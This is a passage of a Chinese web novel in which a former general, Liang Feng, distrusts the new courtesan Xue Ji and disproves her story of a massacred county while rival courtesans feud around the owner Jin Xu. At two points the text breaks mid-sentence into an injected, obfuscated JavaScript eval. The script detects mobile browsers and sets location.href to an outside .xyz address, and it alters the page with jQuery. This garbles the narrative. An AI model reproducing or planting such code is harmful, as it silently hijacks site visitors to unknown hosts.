礼数意外周到。她个子比金絮矮一点,低眉敛目的样子很柔和,梁风几乎以为他的感觉是错觉,但是绝对不可能。 “你称‘我’就行,我救你也是听阿絮的话,总之离开温柔馆于你而言有十分的好处。” 雪姬对着金絮微笑,“阿絮愿意搭救素不相识的人,怎么能说温柔馆不是个好地方呢。” 她那么想留温柔馆?一个青楼有什么好的。梁风简直有些气了,还想开口,金絮一把拽他打断,扯到一边,在他脑袋上拍了一巴掌,小声道:“真想做个傻子啊?” “你打我!你多久没打我了,你果然被雪姬影响了!” 金絮拉低他,轻声道:“雪姬是泽南那边的人,来京城前已经为妓几年了,她的困难不是赎身可以解决的。而且我没有买她的身,她是自愿留在温柔馆。” 梁风意识到单纯劝雪姬离开温柔馆是行不通了,逞道:“你怎么知道她的困难我帮不了......” “她死去的家人你难道能救回来?”金絮打断。 家人......原来这是她的仇恨,梁风心里也有郁结,扭头看了看雪姬,这一看登时睁大了双眼。 雪姬不知想到什么,还是听到他们说话,居然哭了,自己低头悄悄抹眼泪。 她哭着的时候仿佛又换了副面孔,像是一件完好的瓷器被摔碎了,然后再粘合起来的感觉。梁风很难说清楚,只能说感觉不是很好。 他心虚,“你怎么哭了,我不是有意要针对你什么。” 雪姬抽泣着止哭,梁风道:“你有困难就和我说,不要和阿絮说,我会帮你。” 金絮眉头一皱,没说什么,问他道:“放心了?” “我不放心。”梁风摇头。 金絮懒得理他,牵着雪姬往寝楼走了。 他再次被撂在原地,眼巴巴接受金絮背影的冷漠,她没有回头。 雪姬却回了头。雪姬脸上带着残泪,心情还没收好,若有若无侧脸留了他一眼。 梁风没看懂这一眼的含义,只觉得她们两人的背影极为相似。 不应该这么相似。他觉得雪姬怪怪的,有点像在战场发现敌人布置的陷阱,察觉时已经进入陷阱范围却没有触发,很阴冷,后背发凉,但是不知道往哪里躲。 可她的外表柔弱可怜,手无缚鸡之力的样子。这样柔弱的神情隐约是收服匈奴人时在匈奴妇孺脸上见过。不甘、悔恨,希望眼前得势的人能对自己产生怜惜,同时又想把对方打死。 不行,他还是得多多留心金絮,雪姬不能盯,那他就盯金絮。 梁风频繁地留宿温柔馆。 金絮每日照常营业,身边换着各种男人们,并未因他的盯梢而打乱日常,温柔馆也未因雪姬的出现发生波澜。 她每日精力多数分在了馆内经营与姑娘们的日常生活中,目光很少看向那些围着她转的男人们,也很少分给他。 直到二月初开业,姑娘们宣布一件新鲜的事:花魁换人了。 新花魁是雪姬。 雪姬身体养好就开始接客,在各个男人之间如鱼得水,人气很高。短短大半月,成为温柔馆新晋花魁。 梁风愕然发现雪姬在温柔馆居然混得风生水起,比他混得还好。 不过大半个月,雪姬的人气在温柔馆已经立于不败之地。 金絮淡然接受。而雪姬成为花魁时,丽姬在某个男人怀里被伺候着吃葡萄,对丢失花魁之位无动于衷。 “还是楚楚可怜这套对付男人最有用。”纯冬说道。 纯冬为他上菜,梁风极不认同,“楚楚可怜若是有用,匈奴的老弱妇孺就能少死几个。” 纯冬歪头,“来青楼寻欢作乐和上阵杀敌是一回事吗?” 纯冬白了他一眼。他又被撂下了,独自在角落吃两人份的晚饭。 他想问问金絮吃晚饭没有,却见雪姬注意到他这边,朝他走了过来。 167. 《红叶书》(八七) “公子何必一人用饭。” 雪姬竟主动和他搭话。 梁风清清嗓子,答:“我想找阿絮陪我,但是她很忙。” 雪姬在他边上坐下,和他隔了一拳距离,为他斟酒,“温柔馆是个很热闹的地方,在这样的地方独自饮酒,公子不会觉得被这股热闹逼得愈发孤寂吗?” 梁风眼珠子缓缓移到看不见雪姬的另一边,干巴巴地咽酒,“哦。” “不如由我作陪?”雪姬笑得很贴心。 “不用了,阿絮在哪里?” 被回绝没有减弱雪姬脸上的笑,她轻声答:“阿絮很忙呢,这个时辰她大约在楼上清点。” 他顺话抬头看,楼上有走廊护栏遮挡,看不清人影。 雪姬和他做相同动作,笑容里多了一丝苦意,“我从前也是这样,苦等一个人而等不到。” 这话令他有些感触,梁风想到上回和她说过有困难就找他,虽然不是很想和雪姬说话,但还是问:“然后呢?你等到了吗?” “没有,后来我不等了。”雪姬神情淡然。 不等了。梁风想到金絮,多问了一嘴:“你等的是什么人啊?” 雪姬摇了摇头,“不能说是一个人,而是一群人,一群能阻止那些盗匪屠县的人。” “屠县?”梁风吃惊。 “嗯。”雪姬颔首微笑,“我听说,梁公子从前是大将军,曾经带兵四方剿除山匪?” 梁风一时有些怔然,头回在京城遇见亲历匪患的人,相隔那么远,而且她的经历竟是被屠县,她的家人就是这样去世的么。 多了些感慨,对雪姬的排斥减轻了点,梁风问道:“是哪一年?哪个地方的匪患?” “天佑五年,益州与牢额族边界,宁安县。” 宁安县......他没听说过的县名。他记得益州那次剿匪,每一次剿匪他都记得。 “我记得,是蜀地往西。”他道:“西南地方群山之间很难跨越,山匪多分散,然而那一年出现一个人几乎统领西南群匪,势力渐大,朝廷才决定发兵干涉。” 那次是他和与丕与棣一块征匪,没听说有屠县的事情发生。 雪姬微微一笑,神情松松的,甚至暗含无奈,“我知道。宁安县距您的剿匪核心很远。应和王的大名当年传得广为人知,我都听说了,只是后来您改了名字,我都没有认出来是您。” 梁风心有疑惑,如果发生了这样的事情,朝廷不可能不知道。屠城是惨无人道极其恶劣的行径,凶手及其所有手下都该立即杀无赦。他几年剿匪,没有一次匪患达到了屠城的程度。 他遇见过有的山匪与县内百姓和平共处,百姓每年缴纳一定税额给山匪,而山匪保护百姓不受外地人侵扰。这样的县城多是当地郡太尉缺职或是不作为才导致的。 山匪屠城是极少见的情况。匪寨多是由一个县城的流民聚集而成,他们的生存依据就是靠劫掠当地百姓的钱粮,如果百姓没了,他们自然也没了生存的依凭。 “当年发生过这样的事情。”为什么朝廷毫不知情。这很不对劲。 梁风还想问什么,雪姬忽然道:“梁公子已经卸去军职,这样的事情与您还有关系么?” “呃......”梁风张嘴难言,不知道怎么回答。 “我愿意帮你,只是、只是这些事情阿絮帮不到你。” 她笑,“我又不需要她帮什么,她愿意收留我,我已经很知足了。” 一笑起来,雪姬的目光云朵般荡开,眼中似乎没有仇恨,即便有也化解了。梁风却想到她当年没等来的那些阻止盗匪屠县的人,说不定就是他。 梁风果断起身,“我去帮你查查这件事。” 雪姬似乎为料及他的反应,愣着了,对他的举动不作阻止。 梁风大步离开,寻去相府。 游丞相还未睡下,他见到了游照同,提出调档查看天佑五年西南剿匪的全程军报记录。 他自己的军报是没有写这件事的,他要看的是当时与丕和与棣的军报。印象中他们二人的呈报都有在他这里过目,但难说会不会存在遗漏或是故意隐瞒。 游照同询问调档原因,梁风如实相告。 他说是听人谈起那次剿匪时有一座小县遭山匪屠城,而他却不曾听闻,因此想确认是不是真的发生了这件事,以及那座小县现今如何。 游照同应下他的事情,说待旧档查阅完毕会遣人告知梁风。游照同也会将梁风这个需求告知圣上,梁风同意了。 他在府里等了两天,这两天没去温柔馆。两天后,相府来函,告诉他这件事情的调查结果。 往前十年,西南全境没有出现山匪屠城的事情。 当年之所以派梁风发兵剿匪,正是因为原本一盘散沙般的山匪忽然出现凝聚的征兆。匪子们凝聚起来前就被梁风收服了,自然不可能具备屠城的力量。 雪姬撒谎了?梁风看完函件,疑惑很深。 游照同信函中未说及宁安县如今情况,梁风再次亲自去了趟相府。 游丞相再次见到他,特意翻出宁安县志供他翻阅。 薄薄一本小册子。梁风直接翻到尾页。宁安县已经不存在了,宁安县的历史停留在天佑五年。 宁安县是边境一座很小的县城,仅五十七户,两千两百人口。那年的匪患的确给宁安县带去了不小的打击,导致全县元气大伤。县处地理又不好,位于山沟,县内百姓生活难以恢复到匪患发生前的水平,因此全县在郡太守同意下并入附近另一座大县。 全县百姓在一月内尽数迁入大县,原宁安县位置只剩遗址,现如今去看,还能看见一些被遗弃的房屋。 雪姬说的屠城是指的全县迁移吗?那她的父母还活着?她说的并不完全是假的,只是夸张了许多? 她眼中仇恨不假,大约她父母的确去世了。梁风加深了对雪姬的警惕和疑惑。或许家人身死于匪患,在她心里就相当于全县被屠。 这时,皇帝发了话,说安分王有什么事情尽管吩咐相府,相府务必配合,有需要的话还可调动军营的军报库。 梁风回旨言谢,多的不说。 准备从相府离开,恰巧注意到府门口正要离去的与丕的身影。太子殿下似乎没看见他,上车走了。梁风便也不搭理,趁着未到酉时赶紧去温柔馆,要赶在金絮忙起来前和她说会话。 等到了温柔馆,他堂堂正正地推开大门,堂内嘈嘈杂杂,金絮没见着,反而见着坐在窗下安静看书的雪姬。 他站门边踌躇一会,心里欲言又止。雪姬没注意到他,他走也不是,不走也不是。 说了帮她查,肯定要告诉她后续的。可是要揭穿她撒了谎吗?若她父母的确不在了,也不能说是撒谎。 雪姬一心看书,不偏头连余光都看不见他。梁风最终是朝雪姬走了过去。 他走近了,雪姬才抬起头来,注意到他。 “上回我说帮你查的事情,查过了。” 她仰着脸,愣愣的。窗外天气晴朗,她的脸上也不郁郁,看着他半晌才反应过来,“真的?” 梁风点头,但是道:“宁安县并没有被屠,遭遇匪患后,全县迁移并入了另一座县城。” “迁移?”她呆了。 梁风看着她的反应不好说话。 “是这样。”雪姬很快重新温柔地笑起来,“梁公子真是热心。可是为什么要让我离阿絮远一点呢?我什么也没有做。” 他是有一点愧疚的,宁安县哪怕没有被屠城,但也因为匪患受到严重波及,是他剿匪存在疏忽的原因。 “有什么心情我都可以体谅你。”他道。 她笑得很晴朗,合书道:“我以为索求任何事情都是有代价的,梁公子却愿意不计代价帮我,雪姬很感谢您。” “不用,小事。” 她摇头,“不小的。” 她垂着脑袋小声自语:“宁安县真的被屠了。这不是小事。” 雪姬似乎不在意自己的说辞与他的调查结果相悖,梁风隐约听见了她的自语。背后大约有什么苦衷。他要不要管。 “雪姬!!” 这时前馆后门传一声怒喊。 梁风侧头一看,丽姬气势汹汹满身怒气地大步跨来,手里拿着鱼竿和空空的鱼篓。 丽姬将鱼具往雪姬身上扔,质问:“是不是你偷偷把我的鱼放了!” 雪姬灵活躲开,梁风随手一捞就抓住了鱼篓。 “不是我。”雪姬若有若无往梁风身后躲。 “还说不是你!”丽姬怒道:“我只是去厨房看看晚饭好了没有,中间离开了一小会,回来就看见我这鱼篓飘在水池上面。我问了阿絮,刚才只有你一个人经过我钓鱼的地方!” “我是路过了你钓鱼的附近,但我没有放你的鱼。”雪姬指道:“然后我坐在这里看书,没离开过了。” “肯定是你,还敢说没有!”丽姬举起拳头就要扑来,梁风忙张手挡着。 “上回就是你把我的衣裳钩破了,我还没找你算账,这次又来招惹我。”丽姬越过梁风,伸着食指尖锐地指着丽姬。 “给我让开!”丽姬迁怒到梁风,巴掌往他身上甩。 巴掌力气不小,梁风不痛不痒,劝道:“有话好好说,先别动手。这当中或许有什么误会。” “要你多事?有没有误会你都知道?你那么聪明?”丽姬怒他。 雪姬和和气气地轻声细语:“我和你解释过了,钩破你的衣裳那次我不是故意的。我没注意到当时身上的吊坠那么锋利,才不小心弄破了你的衣裳。” 丽姬大喊:“浑身上下哪哪都会招惹我!你就不能躲着我走啊!” “可是温柔馆不是你的家,馆里的规矩不是你定的。”雪姬很委屈,低着眉目为自己说话。 围观的姑娘愈多,纷纷劝和。梁风向人群外看,金絮终于赶过来了。 金絮挤进人群,当先看雪姬反应。雪姬没怎么生气,十分柔顺地回看她。 金絮斥责丽姬道:“这段日子的鱼真是白钓了,还是这么气急败坏又冲动。万一是你的鱼篓没放稳,自己掉进水里了呢。” “隔水边那么远能掉水里?”丽姬不服,瞪雪姬,“除非是有人踹了一脚!” 雪姬在看丽姬时,眼里才有些忿忿不平。 “你想如何?”金絮放缓了语气。 丽姬对着雪姬哼道:“我也不用你怎么样,只是以后遇见我,记得躲着我走。” 雪姬欲言又止,双眼默默的样子看住金絮。 梁风注意到金絮侧身对着雪姬,袖下捏紧了手指。她看着丽姬,注意力却不在丽姬身上,似乎雪姬的眼神无形中给了她很大压力。 他出言道:“我们在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839902|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这空口对峙也是无用,不如先去那钓鱼的地方看看有什么蛛丝马迹。” “可以。”金絮应了,看着丽姬道:“说不定能找出鱼篓是自己滚进池水的痕迹。” 丽姬领路,去到了原本放着鱼篓的地方。在池水边一棵树下,距离池边五六步。 梁风蹲下细看草地痕迹,猜测道:“丽姬离开的时候太长,鱼篓的水漏完了,里面的鱼蹦跳挣扎,将鱼篓撞翻了,鱼篓才滚到了池子里。” 金絮和他一起看,顺着他的话看见草地两排浅坑,疑似鱼篓翻滚的痕迹。 金絮抬头看丽姬脸色,丽姬哼哼:“胡扯。” “我帮你钓回来好不好?”雪姬道:“你能消气吗?” 丽姬还没开口,金絮便止住,“不能证明鱼就是你放的,你不用赔罪。” 梁风却觉得雪姬的态度根本无所谓。雪姬站得略微远,甚至不靠近,完全不看草地痕迹,根本无所谓是否有能证明自己清白的证据,妥协的说辞不过是为了消减矛盾。 “以后我遇见你,会躲着你的。”雪姬认真道。 金絮很无奈。梁风听见她幽微的气声。 “可以。你若做得到,我当然能不计前嫌。”丽姬翻个白眼,昂首抱臂离开。 金絮还想说什么,丽姬听也不听,完全忽视了她。 她无奈得要生气了,雪姬反而安慰道:“丽姬虽然易怒,但往往提的要求都不过分,依着她就好啦,你放心。” 她一时怔怔然,梁风都觉得雪姬意外地豁达。 雪姬向她简单一礼,也走了。 金絮无言地低下头。梁风走近她,感受到她略微低落的情绪。 他拽拽她的袖子,“闹矛盾的时候,总有一方是妥协的。” “她们总是吵架。”她很苦恼。 “怎么啦?” 金絮哀哀地皱眉,“这几天吵得很厉害。很多时候都是丽姬先挑起来的,因为一些小事。” “可丽姬以前不是这样的。”她的眉毛深深皱着。 “不要丧着脸。”梁风伸食指,小心碰碰她的眉毛,却没碰到她的妆容,直接碰到她的皮肤,他收回手指,献道:“不如我教你个法子。” 金絮揉揉脸颊,“什么?” 两团脸被她揉成个风字,他道:“丽姬和雪姬,一个是前花魁,一个是现任花魁。雪姬出现前,丽姬占得魁首好多年,如果她们两人矛盾不消减,花魁之位说不准会不断产生变动,有了变动就会变得鲜活。” 他停下,觉着意思没有表达清楚,想换个说法,金絮闻言却道:“这是制衡之术。” 她懂了,梁风还想把意思表达完,就见金絮颇嫌弃地看他,“真是好蠢的法子。谁教你的?” “没谁教我。我看皇帝是这样做。”他有什么说什么。 金絮顿时不掩饰嫌弃,“我是皇帝吗?我要以帝王之术制衡丽姬和雪姬吗?皇帝会和自己的臣子吃一起睡一起吗?” “你好傻。”她骂道。 梁风看她的嘴唇,开开合合,就没一句他爱听的。 “不许说我傻。” 金絮不理,往前馆走,“按你的法子,每个做生意的人都是皇帝。难怪皇帝要抑商。” 一边说一边走,完全不怕他听不见,仿佛笃定他会在屁股后面跟着。 梁风抿抿嘴,跟去她身后,道:“抑商的政策好像是皇帝和相府一块商量出来的。” 是整个朝廷商量出来的,双缗令那么大的事情当然不是皇帝一个人拍板。 金絮默然不语,表情快要冷下来。 为什么抑商,除了对朝廷与皇权来讲,商贾本身就需要抑制外,还因上一任丞相与商贾结交过密了。金延守在任时,凭借顾氏提供的钱财,有多顺风顺水只有那一朝的臣子知道了。 梁风拽她的衣角,没拽定,“你心里不舒服,有气,就撒在了我身上。” 他一步跨去她面前,拦住她的路,“你总是骂我傻。” 走到桥的后半段,他位低,金絮被拦着却居高地俯视他。 “骂?”她挑眉,“这仅仅是一句寻常的真话,哪儿算得上是骂?我这人不说粗话的。” 梁风一掌盖住她的嘴,金絮被止住了话。 手臂下长长的袖子挂到她身上,衣袖随着她的呼吸起起伏伏。梁风不开心地看着她,金絮冷静地被他不开心地看着。 呼吸吹着他的手指,没有妆隔,这个姿势像是在阻拦她,他心里有点怨。金絮直直站立,也没有把他的手拍掉。 眼神可说是淡漠,能把吹来的风冻住。 微风吹动他的衣袖,为免袖子在她身上拂来拂去,梁风很快收了手,也不愿被她这样看着。 金絮解了禁锢,绕过他继续往前走。 梁风跟在她屁股后面,和她说话:“我查过了雪姬的家乡宁安县。宁安县在前几年匪患过后并入了另一座大县,并没有被屠尽,只是没了县名。” 金絮这时站定。三两句话比他捂嘴还好使。 梁风补充道:“我托相府查的。”怕她不信。 金絮沉沉面色看着前方,没什么反应,梁风却感到她愈发低落的情绪。 “她对你撒谎了吗?” 她摇摇头,低头走路,自顾自念叨:“大商贾对待百姓不是制衡,是扒皮吸血,和皇帝没有区别。” 168. 《红叶书》(八八) “不要这样说。”他追着,想把话收回去。 “她无处可去,我收留她,她愿意卖身答谢,就这样简单。我不在乎雪姬有没有骗我。” 可是这样她身边的人会很乱,姑娘们之间产生矛盾已经让她苦恼了。 梁风摇摇头,“你肯定在乎的。”谁不希望亲近的人和自己说真话呢?她说不在乎,只是矛盾实在难以避免,温柔馆的人太多了。 “如果她骗了我,宁安县的人没死,那不是更好。” 梁风欲言又止,宁安县因匪患元气大伤,不可能没死人的。 金絮推开后厢房的门,待他进去了再关门,打开火炉点火。 “她们没有人问过我的过去,我难道刨根问底去细究她们每个人的从前?”她夹了几枚炭火,做个手炉,递给他,“你也不要再查了。” 梁风捧手炉,乖乖点头,“我听你的。” “又没人听你的话,你还要使唤相府的人,怎么不使唤你那些暗卫。” “暗卫很难接触到相府旧档,想法子偷摸去查的话,被发现了更加不好。”还不如他光明正大去问,看他面子上,相府也不会拒绝。 炉子底心很暖,梁风手掌贴着,攥攥掌心道:“我希望你心情能好起来。” “好不了。” 她很烦躁,拿出一个扁扁的大木盒,打开,里面镇纸压着好几张契纸,她翻找起来。 后厢房居中这间屋是她除了卧房外另一个处理事情的地方,存放的基本是温柔馆对外生意合作的文书,有些商契什么的。他弯腰凑近看,想看她翻找的是什么。 金絮翻着翻着,越翻越快,连字都不细看,一直翻到盒子底下,忽然把镇纸往桌面用力一甩,发飙道:“又在吵,能不能不要吵了!” 镇纸啪地响亮,梁风吓得肩膀一抖,还以为是在凶他。 金絮看了他一眼,微微收敛气息。 梁风往寝楼方向望,在屋里当然什么也看不到,“又吵起来了吗?” 金絮重新翻找一遍,这次在第二张就找到她想要的纸,拿着去往前馆大堂。 梁风还想着二姬的事情,无意识跟在她身后。 朝大门走一段,金絮忽然停下,梁风差点撞她身上。 “我要外出进一批布料,忙呢,你别跟着了。”金絮看他道。 “哦。”梁风站定。 到了大门口,她乘着馆里进货的小车,带着两个姑娘离开。梁风目送,“早点回来哦。” 等她走远,梁风捧着手炉,刚转身回去,突然想起什么,冲着她的背影大喊:“你的嘴唇有点干!” 她已经听不到了。 记得她的嘴唇会涂点什么东西的,不是口脂,这两天好像见她涂得少了。 等她回来要再叮嘱叮嘱。梁风顺着前馆走去庭院,找丽姬。 姑娘们大多在前馆各厢房烤火躲冷,只有热爱闹腾的丽姬努力让池水不封冻就为了钓鱼。 庭院秃枝挂雪,石子沿路都有轮流的丫鬟姑娘扫雪,梁风踩着扫开的路,走去钓鱼的地方。 砖桥附近,他见到丽姬和雪姬居然又吵起来。 不知什么矛盾,丽姬被数位姑娘拉着,叫嚣地冲雪姬喊:“你在找我的茬?不是说让你躲着我吗?” 死拽丽姬的姑娘是凝荷,凝荷的小身板都快拉不住了。 “我是回屋,不小心路过了你,对不起。”雪姬隔着距离低头道歉。 丽姬不顾凝荷,捡起地上的一截枯枝用力扔了过去,凝荷完全没有反应过来。 雪姬不躲,挨了一棍子,枯枝打中了她的肩膀。 梁风赶紧跑过去,阻拦道:“丽姬姑娘,不能砸东西,这要让阿絮看见又该生气了。” 丽姬还准备再捡,被他阻了,顿时迁怒:“要你管?你谁啊你!敢管我?当自己是馆里的男主人啊?” 他险些哑口,更怕这话被金絮听了,反驳道:“我不是男主人。你们争吵会让阿絮很苦恼。” 丽姬停止挣扎,气还没消,瞪了雪姬一眼,往前馆去了。 梁风松口气,接着就听见凝荷一声惊呼,他的心又提起来。 雪姬的脖子被那截枯枝割了一道口子,鲜血成股流出来。 凝荷慌了神,“怎么办?” 梁风查看雪姬的伤势,伤口窄而深,且在脖子要害,好在出血速度不快,可能是天气冷的缘故。 “必须马上处理,伤口可能留有树枝的碎屑。” “孙姨出门去了,不在馆里。”凝荷着急道:“去找馆外的郎中吧。” “不要紧的,小伤而已。”雪姬道。 “伤口不处理的话,阿絮会生气的。”梁风提议:“我带你去外面找郎中吧。” 雪姬用手帕捂着脖子,不知为何很犹豫。 “快去吧,血都止不住呢。”凝荷劝道:“我会替你好好说说丽姬姐姐,再生气也没有捡东西砸人的道理。” 金絮还砸他呢,金絮有道理。梁风走出一段,喊雪姬:“走吧。” 雪姬最终跟上了,“谢谢梁公子。” 穿过庭院,走石子路时地滑,雪姬被绊了一下,梁风顺势抓了一把,雪姬又道:“谢谢梁公子。” 最近的一家医馆只隔一条街,走路不消片刻。梁风在前领着雪姬过去,雪姬很安静地跟在身后。 全程没有搭话,到了医馆,梁风把她交给大夫,自己则在一旁等候。 一刻钟后,雪姬脖子裹着纱布向大夫道谢,支付了铜板。 回去路上,手炉差不多冷掉了,梁风便把炉子挂在腰上。他就近买了条大张的巾帕,给她裹脖子遮挡。雪姬收下了,结结实实裹起来,道:“谢谢梁公子。” “不用客气。”梁风随意地聊:“丽姬似乎对你有敌意?” “嗯。”她轻轻点头。 “为什么?因为你夺走了她的花魁之位?” “不知道。”她低眉轻声道:“丽姬对我的敌意从见到我的第一眼起就有了。” 这个话他是有听丽姬亲口说过的,但他没想到不喜欢就要针对吗。 “我也不喜欢丽姬。”雪姬道,神色如雪般淡淡,“纵然阿絮如何跟我解释丽姬平常不是这个样子,我也是不喜欢她。” “因为她针对你吗?” 雪姬沉默了,不答他的话。梁风也不知道该怎么说,他本身没必要也没立场参与到她们的争执当中去,他只是很担心金絮。 即将行至温柔馆,还未走到,梁风便看见金絮的进货小车停在门前。 正想到她就见到她,梁风快步走近,看着她从车上下来。跟她下来的还有一个女人。 金絮对女人有礼地笑,“林公子真是客气了,我只是买了几匹布,你还帮我将这些布料画了样,省了我好大功夫。” 对方笑答:“这几匹布你是拿得急了,再等个两天我都做好成衣给你了。” 梁风未细听,快步越过她至车尾,“我来帮你搬。” 金絮嘴角弯弯,“可惜了,制衣单子定了别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839903|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,以后有机会我就找你做。” 对方侧目一点点看了下梁风忙碌的身影,对她笑应:“好啊,我等你。” 梁风十分迅速地将布匹全数搬下车,也就五匹。 金絮对面的人向她一揖,“那么这便告辞了。” “好。”金絮目送对方离去。 梁风把布匹搬进前馆,问:“你这是换了家新布行?”怎么记得和她合作的都是男的。 “不是。还是原来那个,林氏布行。”她道。 梁风一愣,扭头看向门外,呆了呆。 刚才那个人,是男的? 没仔细看,不记得长什么样了。似乎也是,声音听着不像女人。 金絮抓住他的袖子问:“这是怎么了?” 他低头,才注意到袖子上沾了两点小小的红色水渍。 “是血迹。”她道。 梁风举袖闻了闻,的确是血迹。 “哪来的血?”她翻开他的袖子。 他微顿,“不是我的。” 金絮略一沉思,回身道:“雪姬?” 雪姬正要和丫鬟把布料搬到后厢房去,快到时辰开业了,听见金絮在喊,便停下来。 “你脖子怎么了?”金絮问。 雪姬手掌挡住脖子,微笑道:“没什么,天气太冷了。” 梁风本想替雪姬解释,听见她这样说,便犹豫要不要开口。 “是我。”丽姬的声音出现说道。 梁风和金絮同时一看,丽姬隔了好远,倚墙说话。 “是我干的,她脖子那点伤口是我弄的,弄出血了。”丽姬抱臂漠然道。 金絮当即冷脸,快步走过去,质问:“你想干什么?” “见了我不躲,谁让她说话不算数。” “就这点事情?”金絮打丽姬的屁股。 丽姬一跳,“什么叫‘这点事情’?还敢打我,你就说你站谁吧!” 金絮不语地盯视丽姬,嘴唇都白了,身侧握拳的手隐隐发抖。 梁风心疼金絮,走近捏她的衣袖,劝她道:“快去加件衣裳,你看你的脸都冻白了。” 金絮低下头,脸庞绷紧,侧目看他的肚子,眼睛红红的。梁风和她一块难过,怕她哭了。 “我谁也不站。” 她取下他腰上挂的手炉扭头走了。 梁风心里难过得紧,不免对她们二人有些责怪。可是女子之间的矛盾他实在不懂得如何处理,本身也不该他插手。从前军营里男人们也会有矛盾,闹起来还比她们二人厉害多了,但是军令如天,很多事情都不需要他动手。 金絮在温柔馆也是天,可是却不如军令那样沉沉压在头顶。 雪姬沉默着朝他福身,也走了,依言地见丽姬就躲。 梁风问丽姬:“你这么针对雪姬姑娘,是因为她抢了你的花魁之位吗?” 丽姬不屑地哼:“花魁,我现在不稀罕了,她要就拿去。” “不是因为花魁之位,单纯因为看对方不顺眼?”梁风忍不住责怪:“阿絮夹在你们之间很难做的。” 丽姬重重一哼,不说话。 主要是雪姬看起来性子柔顺,事情基本都是丽姬挑起来的,丽姬睁一只眼闭一只眼也就没什么事了。 “离这人远点吧,小心她利用你。”丽姬提醒,说完就走。 梁风听出点啥,反问:“你知道什么?” “我什么也不知道。” 丽姬冷漠地撂下一句话,和她的背影。 169. 《红叶书》(□□) “现在才是我该出手的时候。”丽姬道。 丽姬没走远,用背影回答他:“她没拿父母已死的事情博你同情?然后利用你的同情让你为她做事?” “没有啊。”梁风追过去。 “没了军职又怎样,瘦死的骆驼比马大,你可长点心眼。”丽姬道:“跟她说了不能什么人都捡,还不听我的。” 话里话外,他能听出丽姬是关心金絮的,“你就不能让让雪姬。” “让?”丽姬立眉竖眼,“看见那人,我浑身上下毛都要竖起来了,还想我让?” 梁风不知道说什么好了。 和丽姬分开,梁风还想找金絮。到了她房里,看见手炉放在桌案上,她人不见了。 梁风拿起手炉捧着,炉里换了新炭,很暖,可是找不见她人。 她刚才带回来的几匹布也不在了。 刚回来又忙去了?被冷落了。她可真忙。 梁风坐在前馆等她,等到快戌时她才回来。 回来后继续脚不沾地,看也不看他一眼,梁风找不到和她说话的机会。 但她一直在说话。不是和姑娘们说,就是和丫鬟说,不然是和男客们说。他的手炉冷了很久。 好不容易等到晚上,她还有一堆事情要处理,想和她说句话都被她打发回房睡觉。仿佛全天下商贾的兴衰系在她一个人身上,她要日理万机。 雪姬因为脖子的伤休息了几天。这几天,梁风几乎没见过雪姬,他问李婶要了个消除伤疤的药送去。丽姬也随之消停了。 金絮全身心忙于馆里的事务。新的一年,她想扩张温柔馆的经营规模,她在和周边的商户谈,没谈拢,于是只能想别的法子。 她办事的时候,梁风坐在一旁当她的笔架子,或者帮她研磨。他努力不让自己被她冷落。 “你要找点事情干。”她道:“过完年,我发现男客里面文官多了,都是来找你的。” “找不到。”他啥也不想干。 “你是没有去找。” “我帮你不行么,我帮你处理事情。”他献上自己。 她不说话了,低头看一些纸纸张张。 梁风凑过去一起看,看着看着,他也会懂做生意的。 “练练武,打打拳,训练你的暗卫,让他们本事再精进些。你要是想干,事情多得很。”金絮头也不抬。 “我沉迷酒色能降低皇帝的警惕。”他当然有借口。 梁风挪到她的斜后方,张开一只手臂撑着,“天气暖和了再说吧。” 他俯身前倾往纸上面瞅,看她在写什么,下巴快碰到她的肩膀,像是她的肩膀上多长出了一个脑袋。 他如今当真是什么也不想干,啥也无所谓,做别的事很难集中注意力,做什么都会想到她身上。 金絮虽然劝他找点事,但没有明确地对他的行为表示反感。有的时候她快一个时辰没有和他说话,梁风悄悄地在她后面拽一拽她的头发,她也不会斥责。 逐渐养出一种被她包容的感觉。梁风更加懒得找事情做了。 温柔馆出现的文官偶尔的确会有事情找他,多是祭祖之类。即便没有事情,也会有文官问一下他的近况,方便史官记录他在京做了些什么。 二月初有一场祭祖,他必须随同皇帝参加。这是清明前的最后一场,期间他需要住在宫里。 他极其厌烦留宿皇宫,不管皇帝说什么他都不去,唯一妥协是这期间他至少不会上青楼寻欢作乐。 他说死了不住,皇帝也没办法。相府和九卿又是一番仪式,尽可能和平地向史书解释了安分王为何在祭仪期间不宿皇宫,梁风才安安分分地陪同皇帝参加完了整场仪式。 等到结束脱身,他毫不犹豫地一头扎进温柔馆。 可是这一天温柔馆却没有开业。 这夜寒风盛,天黑了很少看见行人,他骑马刚转过街头就见温柔馆异样地融入夜色。大门也锁着。 金絮给过他钥匙。梁风把门打开,厅堂异常安静,烛火点了几盏,只有几名丫鬟在洒扫,显然是没开业的样子。 空气里有股淡淡的烧焦味,梁风见到正在收拾的大厢,询问情况。 大厢说,雪姬伤养好了,今日重新接客,结果再次和丽姬产生冲突。争执时不小心打翻烛台,火焰点燃挂画,烧到了一名姑娘的头发和衣裳,很多人都被吓坏了。 金絮一怒之下罚全体姑娘今夜待在房间里不许出来,不许吃晚饭,生意也不要做了。 只留下大厢和几名丫鬟收拾,就连榻板都烧焦了一块,不收拾好明天也没法开业。 